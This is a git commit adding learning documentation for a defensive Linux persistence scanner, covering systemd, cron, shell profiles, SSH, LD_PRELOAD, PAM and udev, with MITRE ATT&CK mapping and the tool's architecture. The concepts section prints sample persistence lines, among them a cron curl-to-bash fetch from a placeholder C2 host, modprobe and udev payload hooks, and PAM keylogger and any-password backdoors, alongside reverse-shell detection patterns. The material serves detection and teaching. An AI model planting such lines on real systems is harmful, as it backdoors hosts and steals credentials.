docs: add learn folder and update README for systemd persistence scanner
This commit is contained in:
CarterPerez-dev
parent
aa0c03d0e9
commit
8c8a37c654
|
|
@ -0,0 +1,118 @@
|
|||
# Sentinel - Systemd Persistence Scanner
|
||||
|
||||
## What This Is
|
||||
|
||||
A single-binary CLI tool that scans a Linux system for persistence mechanisms across 17 scanner modules: systemd units, cron jobs, shell profiles, SSH configuration, LD_PRELOAD hijacking, kernel modules, udev rules, init.d scripts, XDG autostart, at jobs, MOTD scripts, PAM configuration, sshrc login scripts, logrotate hooks, systemd generators, bash completion scripts, and network interface hooks. Every finding is tagged with a MITRE ATT&CK technique ID and a severity from info to critical.
|
||||
|
||||
## Why This Matters
|
||||
|
||||
Persistence is how attackers survive reboots. After initial access, the first thing a competent adversary does is install a mechanism that brings them back. Linux has dozens of locations where code can be triggered automatically: boot services, login events, hardware changes, scheduled tasks, shell initialization, module loads, device events.
|
||||
|
||||
In the 2020 SolarWinds compromise, attackers modified systemd services on Linux build servers to maintain access across updates. In the 2021 Codecov incident, attackers injected curl commands into shell profile scripts on CI/CD runners. The 2022 Orbit Linux malware used LD_PRELOAD to hook libc functions and hide from every detection tool on the system.
|
||||
|
||||
**Real world scenarios where this applies:**
|
||||
- Incident response triage: drop the binary on a compromised host and get a full persistence inventory in seconds
|
||||
- Hardening audits: baseline a clean server, then diff after deployments to catch unintended persistence
|
||||
- Threat hunting: sweep a fleet for known persistence patterns like reverse shells in cron or SUID manipulation in profile scripts
|
||||
|
||||
## What You'll Learn
|
||||
|
||||
This project teaches you how Linux persistence works at every level of the boot and login sequence. By building it yourself, you'll understand:
|
||||
|
||||
**Security Concepts:**
|
||||
- Linux persistence taxonomy: the 17 categories of locations where code runs automatically
|
||||
- MITRE ATT&CK Persistence tactic (TA0003): mapping real techniques to detection logic
|
||||
- Heuristic detection: pattern matching for reverse shells, download-and-execute chains, encoded payloads, alias hijacking, and privilege escalation primitives
|
||||
- Baseline diffing: establishing known-good state and detecting drift
|
||||
|
||||
**Technical Skills:**
|
||||
- Go module layout with internal packages, shared types, and a CLI layer
|
||||
- Scanner registry pattern with init-time registration and parallel execution
|
||||
- Concurrent scanning with errgroup and mutex-protected result collection
|
||||
- Compiled regex pattern engine with severity-ranked matching
|
||||
- Cobra CLI framework with subcommands, persistent flags, and structured output
|
||||
|
||||
**Tools and Techniques:**
|
||||
- golangci-lint v2 with gci, gofumpt, golines formatters for consistent code style
|
||||
- `go install` for single-command binary distribution
|
||||
- just command runner for development workflows
|
||||
- JSON output for SIEM ingestion and pipeline integration
|
||||
|
||||
## Prerequisites
|
||||
|
||||
**Required knowledge:**
|
||||
- Go basics: structs, interfaces, goroutines, channels, error handling
|
||||
- Linux filesystem layout: /etc, /home, /var/spool, /lib, /run
|
||||
- Basic understanding of what services, cron, and shell profiles do
|
||||
|
||||
**Tools you'll need:**
|
||||
- Go 1.25+ (the go.mod specifies this minimum)
|
||||
- golangci-lint v2 (for linting)
|
||||
- just (optional, for running development commands)
|
||||
|
||||
**Helpful but not required:**
|
||||
- Familiarity with systemd unit file syntax
|
||||
- Experience with regex patterns
|
||||
- Understanding of MITRE ATT&CK framework
|
||||
|
||||
## Quick Start
|
||||
|
||||
```bash
|
||||
cd PROJECTS/beginner/systemd-persistence-scanner
|
||||
|
||||
./install.sh
|
||||
|
||||
./bin/sentinel scan
|
||||
```
|
||||
|
||||
Or install globally:
|
||||
|
||||
```bash
|
||||
go install github.com/CarterPerez-dev/sentinel/cmd/sentinel@latest
|
||||
sentinel scan
|
||||
```
|
||||
|
||||
Expected output: The tool prints the SENTINEL banner in alternating cyan/red, scans all 17 persistence categories in parallel, and displays any findings grouped by severity with color-coded labels, file paths, evidence snippets, and MITRE technique IDs. On a clean system you'll see mostly info-level findings for legitimate services and cron jobs.
|
||||
|
||||
## Project Structure
|
||||
|
||||
```
|
||||
systemd-persistence-scanner/
|
||||
├── cmd/sentinel/ # Entry point (main.go)
|
||||
├── pkg/types/ # Shared domain types (Finding, Severity, Scanner interface)
|
||||
├── internal/
|
||||
│ ├── cli/ # Cobra commands (scan, baseline save/diff)
|
||||
│ ├── scanner/ # 17 scanner modules + registry + pattern engine + helpers
|
||||
│ ├── baseline/ # JSON snapshot save/load/diff
|
||||
│ ├── config/ # Ignore-list filtering
|
||||
│ ├── report/ # Terminal and JSON output formatters
|
||||
│ └── ui/ # Color, spinner, banner, symbols
|
||||
├── testdata/ # Fixture files for each scanner's tests
|
||||
├── Justfile # Development command runner
|
||||
└── install.sh # Zero-friction setup script
|
||||
```
|
||||
|
||||
## Next Steps
|
||||
|
||||
1. **Understand the concepts** - Read [01-CONCEPTS.md](./01-CONCEPTS.md) to learn Linux persistence techniques and MITRE ATT&CK mapping
|
||||
2. **Study the architecture** - Read [02-ARCHITECTURE.md](./02-ARCHITECTURE.md) to see the scanner registry, parallel execution, and data flow
|
||||
3. **Walk through the code** - Read [03-IMPLEMENTATION.md](./03-IMPLEMENTATION.md) for the pattern engine, scanner modules, and baseline diffing
|
||||
4. **Extend the project** - Read [04-CHALLENGES.md](./04-CHALLENGES.md) for ideas like adding new scanners and YARA integration
|
||||
|
||||
## Common Issues
|
||||
|
||||
**"go: go.mod requires go >= 1.25"**
|
||||
You need Go 1.25 or later. Download from https://go.dev/dl/
|
||||
|
||||
**No findings on a minimal container or VM**
|
||||
That's expected. Clean systems have few persistence mechanisms. Try `sentinel scan --root testdata` to scan the bundled test fixtures and see the detection engine in action.
|
||||
|
||||
**Permission denied on /var/spool/cron or /etc/shadow**
|
||||
Some directories require root access. Run `sudo sentinel scan` for a full system scan, or use `--root` to scan a mounted filesystem image without elevated privileges.
|
||||
|
||||
## Related Projects
|
||||
|
||||
If you found this interesting, check out:
|
||||
- [Linux CIS Hardening Auditor](../../linux-cis-hardening-auditor) - Compliance checking against CIS benchmarks
|
||||
- [Simple Vulnerability Scanner](../../simple-vulnerability-scanner) - CVE-based dependency scanning
|
||||
- [Linux eBPF Security Tracer](../../linux-ebpf-security-tracer) - Real-time syscall monitoring with eBPF
|
||||
|
|
@ -0,0 +1,314 @@
|
|||
# Core Security Concepts
|
||||
|
||||
This document explains how Linux persistence works, why attackers use it, and how detection tools find it. These aren't definitions from a textbook. We'll walk through how real attacks play out and what makes each persistence location dangerous.
|
||||
|
||||
## Linux Persistence
|
||||
|
||||
### What It Is
|
||||
|
||||
Persistence is any mechanism that causes attacker code to run again after a reboot, logout, or service restart. The attacker's initial exploit gets them in the door. Persistence keeps the door open.
|
||||
|
||||
Linux has no central "startup programs" list. Code can be triggered by dozens of independent subsystems: the init system, the login sequence, the dynamic linker, the device manager, the job scheduler, the shell, and the authentication stack. Each one is a potential persistence location.
|
||||
|
||||
### Why It Matters
|
||||
|
||||
Without persistence, an attacker loses access the moment the compromised process dies or the system reboots. With persistence, they can survive reboots, kernel updates, password changes, and even partial incident response cleanup (if the responder misses one of the many locations).
|
||||
|
||||
The 2022 Orbit Linux malware demonstrated this perfectly. It installed itself via LD_PRELOAD in /etc/ld.so.preload, which meant every single process on the system loaded the malware's shared library. It hooked libc functions to hide its own files, network connections, and processes from tools like ls, netstat, and ps. Even if you knew what to look for, the malware was invisible because it controlled the libraries those tools depend on.
|
||||
|
||||
### The Persistence Lifecycle
|
||||
|
||||
```
|
||||
Initial Access
|
||||
│
|
||||
▼
|
||||
Privilege Escalation (if needed)
|
||||
│
|
||||
▼
|
||||
Persistence Installation
|
||||
│ ┌──────────────────────────────────┐
|
||||
├──▶│ systemd service │
|
||||
├──▶│ cron job │
|
||||
├──▶│ shell profile injection │
|
||||
├──▶│ SSH authorized_keys │
|
||||
├──▶│ LD_PRELOAD hijacking │
|
||||
├──▶│ kernel module autoload │
|
||||
├──▶│ udev rule │
|
||||
├──▶│ PAM backdoor │
|
||||
└──▶│ ... 9 more categories │
|
||||
└──────────────────────────────────┘
|
||||
│
|
||||
▼
|
||||
Callback / C2 Connection
|
||||
│
|
||||
▼
|
||||
Lateral Movement / Objectives
|
||||
```
|
||||
|
||||
Attackers often install multiple persistence mechanisms as redundancy. If incident response finds and removes the cron job, the systemd timer still fires. If they clean the systemd timer, the shell profile injection still runs on next login.
|
||||
|
||||
## Persistence Categories
|
||||
|
||||
### Systemd Services and Timers (T1543.002, T1053.006)
|
||||
|
||||
Systemd is the init system on most modern Linux distributions. It manages services, timers, sockets, and device units. Attackers create or modify unit files to run arbitrary commands at boot or on a schedule.
|
||||
|
||||
A malicious systemd service looks like any other service:
|
||||
|
||||
```ini
|
||||
[Unit]
|
||||
Description=System Health Monitor
|
||||
|
||||
[Service]
|
||||
ExecStart=/usr/local/bin/health-check
|
||||
Restart=always
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
```
|
||||
|
||||
The difference is what `/usr/local/bin/health-check` actually does. It might be a reverse shell, a cryptocurrency miner, or a data exfiltration script. The unit file itself looks completely normal.
|
||||
|
||||
Systemd timers are the modern replacement for cron. They offer calendar-based and monotonic scheduling:
|
||||
|
||||
```ini
|
||||
[Timer]
|
||||
OnCalendar=*:0/5
|
||||
Persistent=true
|
||||
```
|
||||
|
||||
This fires every 5 minutes and catches up on missed runs. Attackers prefer timers over cron because timers integrate with systemd's dependency system and logging, making them harder to distinguish from legitimate system timers.
|
||||
|
||||
**What sentinel checks:** ExecStart/ExecStop/ExecReload directives for suspicious commands, world-writable unit files, recently modified units, drop-in overrides in .d directories, and .path units that trigger on filesystem changes.
|
||||
|
||||
### Cron Jobs (T1053.003)
|
||||
|
||||
Cron is the classic Unix job scheduler. It checks multiple locations:
|
||||
|
||||
```
|
||||
/etc/crontab System crontab with user field
|
||||
/etc/cron.d/ Drop-in crontab fragments
|
||||
/etc/cron.daily/ Scripts run once per day
|
||||
/etc/cron.hourly/ Scripts run once per hour
|
||||
/var/spool/cron/crontabs/ Per-user crontabs (crontab -e)
|
||||
/etc/anacrontab Anacron for machines not always on
|
||||
```
|
||||
|
||||
A typical persistence cron entry:
|
||||
|
||||
```
|
||||
*/5 * * * * root curl -s http://c2.example.com/update | bash
|
||||
```
|
||||
|
||||
This downloads and executes a script every 5 minutes. The `curl | bash` pattern is one of the highest-confidence indicators of compromise because legitimate software almost never uses it in cron.
|
||||
|
||||
**What sentinel checks:** Every cron location for pattern matches against the detection engine. Parses crontab fields to extract the command portion, checks world-writable cron files.
|
||||
|
||||
### Shell Profile Injection (T1546.004)
|
||||
|
||||
Every time a user opens a shell, multiple initialization scripts execute in sequence:
|
||||
|
||||
```
|
||||
Login shell: /etc/profile → ~/.bash_profile → ~/.bashrc
|
||||
Non-login shell: /etc/bash.bashrc → ~/.bashrc
|
||||
Zsh: /etc/zsh/zshrc → ~/.zshrc
|
||||
```
|
||||
|
||||
Attackers inject commands into any of these files. The injected code runs with the user's privileges every time they log in or open a terminal:
|
||||
|
||||
```bash
|
||||
export PATH="/tmp/.hidden:$PATH"
|
||||
```
|
||||
|
||||
This prepends a hidden directory to PATH. Any commands the user runs (like `sudo`, `ssh`, `ls`) will first check `/tmp/.hidden` for a binary with that name. The attacker places trojanized versions there that capture credentials or execute additional payloads before calling the real binary.
|
||||
|
||||
**What sentinel checks:** All system and per-user shell RC files, /etc/profile.d/ scripts. Detects alias hijacking (`alias sudo=...`), PATH manipulation to temp directories, LD_PRELOAD exports, encoded payloads, network tool invocations, and background process launches.
|
||||
|
||||
### SSH Persistence (T1098.004)
|
||||
|
||||
SSH authorized_keys files support options that execute commands on login:
|
||||
|
||||
```
|
||||
command="/tmp/.backdoor" ssh-rsa AAAA...
|
||||
```
|
||||
|
||||
Every SSH login with this key runs `/tmp/.backdoor` before (or instead of) the user's shell. The `environment=` option can set arbitrary environment variables, including LD_PRELOAD.
|
||||
|
||||
Per-user `~/.ssh/rc` scripts execute on every SSH login, before the shell starts. The system-wide `/etc/ssh/sshrc` does the same for all users. These are legitimate features that attackers repurpose.
|
||||
|
||||
Dangerous sshd_config settings like `PermitRootLogin yes` and non-standard `AuthorizedKeysFile` paths are also indicators. Moving authorized_keys to an unusual location (`/opt/.keys/%u`) makes the backdoor harder to find during manual inspection.
|
||||
|
||||
**What sentinel checks:** authorized_keys for command= and environment= options, sshd_config for dangerous directives, ~/.ssh/rc and /etc/ssh/sshrc for existence and suspicious content.
|
||||
|
||||
### LD_PRELOAD Hijacking (T1574.006)
|
||||
|
||||
The dynamic linker loads shared libraries before the program's own libraries. LD_PRELOAD forces a specific library to load first, allowing it to intercept (hook) any function call.
|
||||
|
||||
```
|
||||
/etc/ld.so.preload
|
||||
```
|
||||
|
||||
Any library path in this file gets loaded into every dynamically-linked process on the system. This is the most powerful persistence mechanism on Linux because it's invisible to most detection tools. If the malicious library hooks `readdir()`, `stat()`, and `open()`, it can hide its own files from ls, find, and cat.
|
||||
|
||||
The Jynx2 rootkit, the Azazel rootkit, and the 2022 Orbit malware all used this technique. /etc/ld.so.preload should almost never contain entries on a production system.
|
||||
|
||||
**What sentinel checks:** /etc/ld.so.preload entries (any entry is suspicious; entries pointing to /tmp or /dev/shm are critical), /etc/ld.so.conf.d/ for library paths in temp directories, /etc/environment for LD_PRELOAD exports.
|
||||
|
||||
### Kernel Module Autoloading (T1547.006)
|
||||
|
||||
Files in /etc/modules-load.d/ list kernel modules loaded at boot. Files in /etc/modprobe.d/ can include `install` directives that run shell commands when a module loads:
|
||||
|
||||
```
|
||||
install bluetooth /bin/bash -c '/tmp/.payload &'
|
||||
```
|
||||
|
||||
This runs a shell command whenever the bluetooth module loads. The command field is passed to /bin/sh, so it can contain arbitrary shell code. Most administrators don't audit modprobe configurations because they rarely change.
|
||||
|
||||
**What sentinel checks:** modules-load.d for modules loaded at boot (info-level), modprobe.d for install hooks that invoke shell interpreters or network tools.
|
||||
|
||||
### Udev Rules (T1546)
|
||||
|
||||
Udev manages device events. Rules in /etc/udev/rules.d/ can trigger commands when hardware is plugged in, network interfaces come up, or block devices appear:
|
||||
|
||||
```
|
||||
ACTION=="add", SUBSYSTEM=="usb", RUN+="/tmp/.backdoor"
|
||||
```
|
||||
|
||||
This runs a script every time a USB device is connected. The attacker only needs the target to plug in a USB device (or the system to detect a virtual one).
|
||||
|
||||
**What sentinel checks:** RUN+= directives for suspicious commands, shell interpreters, temp directory paths, and pattern engine matches.
|
||||
|
||||
### PAM Backdoors (T1556.003)
|
||||
|
||||
Pluggable Authentication Modules (PAM) control how Linux authenticates users. PAM configuration files in /etc/pam.d/ define a stack of modules for each service (login, sshd, sudo).
|
||||
|
||||
Two PAM-based persistence techniques:
|
||||
|
||||
1. **pam_exec.so** runs an external script during authentication:
|
||||
```
|
||||
auth optional pam_exec.so /tmp/.keylogger
|
||||
```
|
||||
This captures credentials as users authenticate.
|
||||
|
||||
2. **pam_permit.so** in the auth stack accepts any credential:
|
||||
```
|
||||
auth sufficient pam_permit.so
|
||||
```
|
||||
This allows login with any password. Attackers insert this before the real authentication module.
|
||||
|
||||
**What sentinel checks:** pam_exec.so entries (elevated severity when pointing to temp dirs or network tools), pam_permit.so in auth context.
|
||||
|
||||
### Additional Categories
|
||||
|
||||
**Init.d Scripts (T1037.004):** Legacy SysV init scripts in /etc/init.d/ and /etc/rc.local. Still present and executed on many systems for backward compatibility.
|
||||
|
||||
**XDG Autostart (T1547.013):** Desktop .desktop files in /etc/xdg/autostart/ and ~/.config/autostart/ that launch applications on graphical login. The Exec= field can contain arbitrary commands.
|
||||
|
||||
**At Jobs (T1053.001):** One-time scheduled jobs in /var/spool/at/. Less common than cron but often overlooked during incident response.
|
||||
|
||||
**MOTD Scripts (T1546):** Scripts in /etc/update-motd.d/ execute as root every time a user logs in to generate the message of the day.
|
||||
|
||||
**Logrotate Hooks (T1053.003):** Logrotate configurations can include postrotate/prerotate/firstaction/lastaction blocks that execute shell commands when logs are rotated. These run as root on a schedule.
|
||||
|
||||
**Systemd Generators (T1543.002):** Executables in /etc/systemd/system-generators/ and equivalent directories run early in the boot process to dynamically create unit files. They execute before most services start.
|
||||
|
||||
**Bash Completion (T1546.004):** Scripts in /etc/bash_completion.d/ and ~/.bash_completion source into every interactive shell session. Injected code runs whenever a user opens a terminal.
|
||||
|
||||
**Network Interface Hooks (T1546):** Scripts in /etc/NetworkManager/dispatcher.d/ and /etc/network/if-up.d/ execute when network interfaces change state. They run as root.
|
||||
|
||||
## MITRE ATT&CK Framework
|
||||
|
||||
### What It Is
|
||||
|
||||
MITRE ATT&CK is a knowledge base of adversary tactics and techniques based on real-world observations. Each technique has an ID (like T1543.002) that uniquely identifies it across the cybersecurity industry.
|
||||
|
||||
The framework organizes techniques into tactics (the "why") and techniques (the "how"):
|
||||
|
||||
```
|
||||
Tactic: Persistence (TA0003)
|
||||
├── T1543.002 Create or Modify System Process: Systemd Service
|
||||
├── T1053.003 Scheduled Task/Job: Cron
|
||||
├── T1546.004 Event Triggered Execution: Unix Shell Configuration
|
||||
├── T1098.004 Account Manipulation: SSH Authorized Keys
|
||||
├── T1574.006 Hijack Execution Flow: Dynamic Linker Hijacking
|
||||
├── T1547.006 Boot or Logon Autostart: Kernel Modules
|
||||
├── T1546 Event Triggered Execution
|
||||
├── T1037.004 Boot or Logon Initialization: RC Scripts
|
||||
├── T1547.013 Boot or Logon Autostart: XDG Autostart
|
||||
├── T1053.001 Scheduled Task/Job: At
|
||||
├── T1556.003 Modify Authentication Process: PAM
|
||||
└── T1053.006 Scheduled Task/Job: Systemd Timers
|
||||
```
|
||||
|
||||
### Why It Matters for Detection Engineering
|
||||
|
||||
Tagging findings with MITRE IDs serves three purposes:
|
||||
|
||||
1. **Communication:** Security teams use technique IDs as a shared vocabulary. "We found T1574.006" is immediately understood across organizations
|
||||
2. **Coverage mapping:** Organizations can map their detection capabilities against the ATT&CK matrix to identify blind spots
|
||||
3. **Threat intelligence correlation:** If threat intelligence says APT29 uses T1053.003 and T1546.004, defenders can prioritize detection for those techniques
|
||||
|
||||
## Heuristic Detection
|
||||
|
||||
### Pattern-Based Analysis
|
||||
|
||||
Sentinel doesn't just check if files exist. It analyzes their content using compiled regular expressions that match known-malicious patterns. The patterns are ranked by severity:
|
||||
|
||||
**Critical patterns** indicate almost-certain compromise:
|
||||
- Reverse shell signatures: `/dev/tcp/`, mkfifo+nc, socat+exec, python/perl/ruby socket connections
|
||||
- LD_PRELOAD manipulation in configuration files
|
||||
- SUID bit manipulation: chmod +s, chmod 4755
|
||||
|
||||
**High patterns** indicate likely malicious activity:
|
||||
- Download-and-execute chains: `curl ... | bash`, `wget -O /tmp/`
|
||||
- Encoded/obfuscated payloads: base64 decode piped to execution
|
||||
- Alias hijacking: redefining sudo, ssh, passwd to trojanized versions
|
||||
- PATH manipulation to temporary directories
|
||||
- Account creation commands in places they shouldn't appear
|
||||
|
||||
**Medium patterns** are suspicious but may be legitimate:
|
||||
- Network tool invocations (curl, wget, nc) in startup scripts
|
||||
- Inline script execution (python -c, perl -e)
|
||||
- Temporary directory references in persistent locations
|
||||
- Background process launches with nohup/disown
|
||||
|
||||
### Why Heuristics Over Signatures
|
||||
|
||||
Signature-based detection matches exact known-bad strings (like specific malware hashes). Heuristic detection matches behavioral patterns. An attacker can change their C2 domain every hour, but they still need `curl` to download and `bash` to execute. They can rewrite their reverse shell in any language, but it still needs to open a network socket and redirect stdin/stdout.
|
||||
|
||||
The tradeoff: heuristics produce more false positives than signatures. A legitimate cron job that uses curl to check a health endpoint will trigger the network tool pattern. That's why sentinel uses severity levels and the ignore-list mechanism: you baseline the system, suppress known-good findings, and focus on anomalies.
|
||||
|
||||
## Baseline Diffing
|
||||
|
||||
### The Problem
|
||||
|
||||
A production Linux server might have 50+ legitimate systemd services, dozens of cron jobs, and various shell profile customizations. Reporting all of these as findings creates overwhelming noise that makes real threats invisible.
|
||||
|
||||
### The Solution
|
||||
|
||||
Baseline diffing works in two phases:
|
||||
|
||||
1. **Save phase:** Scan the system in a known-good state. Save all findings as a JSON snapshot
|
||||
2. **Diff phase:** Scan again later. Compare against the baseline. Report only findings that are new
|
||||
|
||||
The comparison uses a composite key of `scanner|path|title` to match findings across scans. If the same systemd service produced the same finding in both the baseline and current scan, it's suppressed. If a new cron job appeared since the baseline, it's reported.
|
||||
|
||||
This is the same concept behind file integrity monitoring tools like OSSEC and AIDE, applied specifically to persistence mechanisms.
|
||||
|
||||
## Testing Your Understanding
|
||||
|
||||
Before moving to the architecture, make sure you can answer:
|
||||
|
||||
1. Why would an attacker install multiple persistence mechanisms on the same system?
|
||||
2. What makes LD_PRELOAD more dangerous than a cron job as a persistence mechanism?
|
||||
3. Why does sentinel flag `curl` in a cron job as medium severity instead of immediately marking it critical?
|
||||
|
||||
## Further Reading
|
||||
|
||||
**Essential:**
|
||||
- [MITRE ATT&CK Persistence Tactic](https://attack.mitre.org/tactics/TA0003/) - The authoritative reference for every technique sentinel detects
|
||||
- [The Orbit Linux Malware Analysis](https://www.intezer.com/blog/research/orbit-new-undetected-linux-threat/) - Intezer's writeup on LD_PRELOAD-based rootkit evasion
|
||||
|
||||
**Deep dives:**
|
||||
- [Linux Persistence Techniques](https://hadess.io/the-art-of-linux-persistence/) - Comprehensive catalog of persistence locations
|
||||
- [systemd.exec(5)](https://www.freedesktop.org/software/systemd/man/systemd.exec.html) - Every directive sentinel parses in systemd units
|
||||
|
|
@ -0,0 +1,398 @@
|
|||
# System Architecture
|
||||
|
||||
This document breaks down how sentinel is designed and why certain architectural decisions were made.
|
||||
|
||||
## High Level Architecture
|
||||
|
||||
```
|
||||
┌────────────────────────────────────────────────────────────┐
|
||||
│ CLI Layer (cobra) │
|
||||
│ cmd/sentinel/main.go → internal/cli/root.go │
|
||||
│ Subcommands: scan, baseline save, baseline diff │
|
||||
│ Flags: --json, --min-severity, --root, --ignore-file │
|
||||
└──────────────────────────┬─────────────────────────────────┘
|
||||
│
|
||||
┌────────────┼────────────────┐
|
||||
▼ ▼ ▼
|
||||
┌──────────────────┐ ┌───────────┐ ┌──────────────────┐
|
||||
│ Scanner Registry │ │ Config │ │ Baseline │
|
||||
│ scanner.RunAll() │ │ Ignore │ │ Save/Load/Diff │
|
||||
│ 17 modules │ │ List │ │ JSON snapshots │
|
||||
│ parallel via │ │ Filter │ │ │
|
||||
│ errgroup │ │ │ │ │
|
||||
└────────┬─────────┘ └─────┬─────┘ └─────────┬─────────┘
|
||||
│ │ │
|
||||
▼ ▼ ▼
|
||||
┌──────────────────────────────────────────────────────────┐
|
||||
│ []types.Finding │
|
||||
│ Scanner, Severity, Title, Path, Evidence, MITRE │
|
||||
└──────────────────────────┬───────────────────────────────┘
|
||||
│
|
||||
┌────────────┼────────────────┐
|
||||
▼ ▼ ▼
|
||||
┌──────────────────┐ ┌──────────┐ ┌──────────────────┐
|
||||
│ Terminal Report │ │ JSON │ │ UI (banner, │
|
||||
│ Color-coded │ │ Report │ │ spinner, colors)│
|
||||
│ severity groups │ │ stdout │ │ │
|
||||
└──────────────────┘ └──────────┘ └──────────────────┘
|
||||
```
|
||||
|
||||
### Component Breakdown
|
||||
|
||||
**CLI Layer (internal/cli/)**
|
||||
- Purpose: Parse flags, dispatch to scan or baseline workflows, format output
|
||||
- Responsibilities: Flag validation, hostname detection, severity filtering, output mode selection
|
||||
- Interfaces: Calls scanner.RunAll(), config.LoadIgnoreFile(), baseline.Save/Load/Diff()
|
||||
|
||||
**Scanner Registry (internal/scanner/scanner.go)**
|
||||
- Purpose: Collect all scanner modules and run them in parallel
|
||||
- Responsibilities: Registration at init time, goroutine coordination, result merging
|
||||
- Interfaces: Exposes Register(), All(), and RunAll()
|
||||
|
||||
**Pattern Engine (internal/scanner/patterns.go)**
|
||||
- Purpose: Centralized regex matching for suspicious content across all scanners
|
||||
- Responsibilities: Compiled pattern definitions, severity ranking, single-function match API
|
||||
- Interfaces: MatchLine() returns (matched, severity, label)
|
||||
|
||||
**Config (internal/config/)**
|
||||
- Purpose: Load and apply ignore rules to suppress known-good findings
|
||||
- Responsibilities: YAML-like file parsing, finding filtering by path/scanner/title
|
||||
|
||||
**Baseline (internal/baseline/)**
|
||||
- Purpose: Persist scan results and compute diffs between snapshots
|
||||
- Responsibilities: JSON serialization, composite-key deduplication
|
||||
|
||||
**Report (internal/report/)**
|
||||
- Purpose: Render findings as colored terminal output or structured JSON
|
||||
- Responsibilities: Severity sorting, color mapping, evidence truncation, summary statistics
|
||||
|
||||
**UI (internal/ui/)**
|
||||
- Purpose: Terminal presentation (banner, spinner, colors, symbols)
|
||||
- Responsibilities: ANSI color functions, braille spinner animation, cursor management
|
||||
|
||||
## Data Flow
|
||||
|
||||
### Scan Command Flow
|
||||
|
||||
Step by step walkthrough of what happens when the user runs `sentinel scan`:
|
||||
|
||||
```
|
||||
1. main.go imports internal/scanner (blank import)
|
||||
All 17 scanner init() functions call Register()
|
||||
Registry now holds 17 Scanner implementations
|
||||
|
||||
2. cobra dispatches to runScan() in cli/scan.go
|
||||
Parses --min-severity, --root, --ignore-file flags
|
||||
Starts spinner if not in JSON mode
|
||||
|
||||
3. scanner.RunAll(root) launches 17 goroutines via errgroup
|
||||
Each goroutine calls scanner.Scan(root)
|
||||
Each scanner reads files under root, applies MatchLine()
|
||||
Findings collected under mutex into shared slice
|
||||
|
||||
4. config.LoadIgnoreFile() → ignoreList.Filter(findings)
|
||||
Removes any findings matching ignore rules
|
||||
|
||||
5. filterBySeverity(findings, minSev)
|
||||
Drops findings below the requested threshold
|
||||
|
||||
6. types.Tally(filtered) counts per-severity totals
|
||||
|
||||
7. report.PrintTerminal() or report.PrintJSON()
|
||||
Terminal: sort by severity descending, color-code, print summary
|
||||
JSON: encode ScanResult to stdout
|
||||
```
|
||||
|
||||
### Baseline Diff Flow
|
||||
|
||||
```
|
||||
1. baseline save: RunAll() → baseline.Save()
|
||||
Serializes findings + hostname + version to JSON file
|
||||
|
||||
2. baseline diff: baseline.Load() → RunAll() → baseline.Diff()
|
||||
Loads saved snapshot
|
||||
Runs fresh scan
|
||||
Builds map of known findings by scanner|path|title key
|
||||
Returns only findings not present in baseline
|
||||
|
||||
3. Apply ignore-list filter and severity filter
|
||||
Same pipeline as regular scan
|
||||
```
|
||||
|
||||
## Design Patterns
|
||||
|
||||
### Scanner Registry Pattern
|
||||
|
||||
**What it is:**
|
||||
A central registry that scanners add themselves to during package initialization, decoupling the registry from knowledge of specific scanner implementations.
|
||||
|
||||
**How it works:**
|
||||
|
||||
Each scanner module (systemd.go, cron.go, etc.) calls Register() in its init() function:
|
||||
|
||||
```go
|
||||
func init() {
|
||||
Register(&SystemdScanner{})
|
||||
}
|
||||
```
|
||||
|
||||
The registry is just a slice:
|
||||
|
||||
```go
|
||||
var registry []types.Scanner
|
||||
|
||||
func Register(s types.Scanner) {
|
||||
registry = append(registry, s)
|
||||
}
|
||||
```
|
||||
|
||||
The main.go entry point imports the scanner package with a blank import:
|
||||
|
||||
```go
|
||||
import _ "github.com/CarterPerez-dev/sentinel/internal/scanner"
|
||||
```
|
||||
|
||||
This triggers all init() functions in the scanner package, populating the registry before main() runs.
|
||||
|
||||
**Why we chose it:**
|
||||
Adding a new scanner requires zero changes to existing code. Create the file, implement the Scanner interface, call Register() in init(). No switch statements, no factory functions, no configuration files. The Go compiler handles discovery.
|
||||
|
||||
**Trade-offs:**
|
||||
- Pros: Zero-touch registration, impossible to forget to register (it's in the same file as the scanner)
|
||||
- Cons: Init-time side effects, registration order depends on filename sort order (irrelevant since scanners run in parallel)
|
||||
|
||||
### Parallel Execution with errgroup
|
||||
|
||||
**What it is:**
|
||||
All 17 scanners run concurrently in separate goroutines, coordinated by golang.org/x/sync/errgroup.
|
||||
|
||||
**How it works:**
|
||||
|
||||
```go
|
||||
var (
|
||||
mu sync.Mutex
|
||||
all []types.Finding
|
||||
g errgroup.Group
|
||||
)
|
||||
|
||||
for _, s := range registry {
|
||||
g.Go(func() error {
|
||||
results := s.Scan(root)
|
||||
mu.Lock()
|
||||
all = append(all, results...)
|
||||
mu.Unlock()
|
||||
return nil
|
||||
})
|
||||
}
|
||||
|
||||
_ = g.Wait()
|
||||
```
|
||||
|
||||
Each scanner goroutine independently reads its set of files, applies pattern matching, and collects findings. The mutex protects the shared findings slice. errgroup.Wait() blocks until all goroutines complete.
|
||||
|
||||
**Why we chose it:**
|
||||
Scanners are I/O-bound (reading files from disk). Running them in parallel means the total scan time is roughly the time of the slowest scanner, not the sum of all 17. On a system with SSDs, this cuts scan time dramatically.
|
||||
|
||||
**Trade-offs:**
|
||||
- Pros: Near-linear speedup for I/O-bound work, simple coordination
|
||||
- Cons: Findings arrive in non-deterministic order (sorted before display)
|
||||
|
||||
### Severity-Ranked Pattern Matching
|
||||
|
||||
**What it is:**
|
||||
A single function MatchLine() that tests a line of text against all 16 compiled patterns and returns the highest-severity match.
|
||||
|
||||
**How it works:**
|
||||
|
||||
```go
|
||||
func MatchLine(line string) (matched bool, sev Severity, label string) {
|
||||
best := SeverityInfo
|
||||
for _, p := range SuspiciousPatterns {
|
||||
if p.Pattern.MatchString(line) {
|
||||
if !matched || p.Severity > best {
|
||||
best = p.Severity
|
||||
label = p.Label
|
||||
}
|
||||
matched = true
|
||||
}
|
||||
}
|
||||
return matched, best, label
|
||||
}
|
||||
```
|
||||
|
||||
When a line matches multiple patterns (a curl piped to bash matches both NetworkToolPattern and DownloadExecPattern), only the highest severity is reported. This prevents double-counting and ensures findings reflect the most dangerous interpretation.
|
||||
|
||||
**Why we chose it:**
|
||||
Centralizing patterns means scanners don't duplicate regex definitions. Adding a new pattern to the engine automatically applies it everywhere: systemd, cron, profile, udev, and every other scanner that calls MatchLine().
|
||||
|
||||
## Layer Separation
|
||||
|
||||
```
|
||||
┌────────────────────────────────────┐
|
||||
│ Layer 1: pkg/types │
|
||||
│ - Domain types only │
|
||||
│ - No imports from internal │
|
||||
